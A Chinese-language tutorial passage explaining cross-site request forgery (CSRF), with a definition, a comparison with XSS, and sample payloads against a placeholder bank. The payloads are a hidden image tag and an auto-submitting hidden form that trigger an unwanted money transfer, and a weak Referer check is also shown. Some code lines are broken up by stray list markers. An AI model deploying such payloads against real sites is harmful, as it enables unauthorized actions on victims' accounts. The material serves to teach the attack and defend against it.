CSRF 背景与介绍
CSRF 定义: 跨站请求伪造(英语: Cross-site request forgery), 也被称为 one-click attack 或者 session riding, 通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的 web 应用程序上执行非本意的操作的攻击方法.
简单地说, 是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件, 发消息, 甚至财产操作如转账和购买商品). 由于浏览器曾经认证过, 所以被访问的网站会认为是真正的用户操作而去执行. 这利用了 Web 中用户身份验证的一个漏洞: 简单的身份验证只能保证请求发自某个用户的浏览器, 却不能保证请求本身是用户自愿发出的.
CSRF 地位: 是一种网络攻击方式, 是互联网重大安全隐患之一, NYTimes.com(纽约时报),Metafilter,YouTube,Gmail 和百度 HI 都受到过此类攻击.
对比 XSS: 跟跨网站脚本 (XSS) 相比, XSS 利用的是用户对指定网站的信任, CSRF 利用的是网站对用户网页浏览器的信任.
CSRF 攻击实例
daguanren(大官人)在银行有一笔存款, 输入用户名密码登录银行网银后发送请求进行个人名下账户转账 :
http://www.bank.example/withdraw?account=daguanren1&amount=999&for=daguanren2
- <!DOCTYPE html>
- <HTML>
- <!-- 其他页面元素 -->
- <img src=http://www.bank.example/withdraw?account=daguanren1&amount=888&for=jinlian
- width='0' height='0'>
- <!-- 其他页面元素 -->
- </HTML>
- <iframe style="display:none" name="csrf-frame"></iframe>
- <form method='POST' action='http://www.bank.example/withdraw' target="csrf-frame" id="csrf-form">
- <input type='hidden' name='account' value='daguanren1'>
- <input type='hidden' name='amount' value='888'>
- <input type='hidden' name='for' value='jinlian'>
- <input type='submit' value='submit'>
- </form>
- <script>document.getElementById("csrf-form").submit()</script>
- const referer = request.headers.referer;
- if (referer.indexOf('www.bank.example')> -1) {
- // pass
- }
- <a>
- <link rel="prerender">
- <form method="GET">
来源: https://www.jb51.net/article/157550.htm